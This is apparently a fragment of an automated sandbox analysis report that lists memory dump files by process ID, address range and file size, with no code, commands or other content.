    • memory/788-42-0x0000000000291000-0x00000000002F4000-memory.dmp
      Filesize

      396KB

    • memory/1064-5-0x0000000000000000-mapping.dmp
    • memory/1168-43-0x000007FEF7080000-0x000007FEF72FA000-memory.dmp
      Filesize

      2.5MB

    • memory/1328-17-0x0000000000000000-mapping.dmp
    • memory/1640-20-0x0000000074B31000-0x0000000074B33000-memory.dmp
      Filesize

      8KB

    • memory/1640-31-0x0000000000410000-0x0000000000436000-memory.dmp
      Filesize

      152KB

    • memory/1640-32-0x0000000000161000-0x00000000001C4000-memory.dmp
      Filesize

      396KB

    • memory/1640-19-0x0000000000000000-mapping.dmp
    • memory/1664-25-0x0000000000000000-mapping.dmp
    • memory/1664-39-0x0000000000791000-0x00000000007F4000-memory.dmp
      Filesize

      396KB

    • memory/1668-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1668-3-0x000000006FD81000-0x000000006FD83000-memory.dmp
      Filesize

      8KB

    • memory/1668-2-0x0000000072301000-0x0000000072304000-memory.dmp
      Filesize

      12KB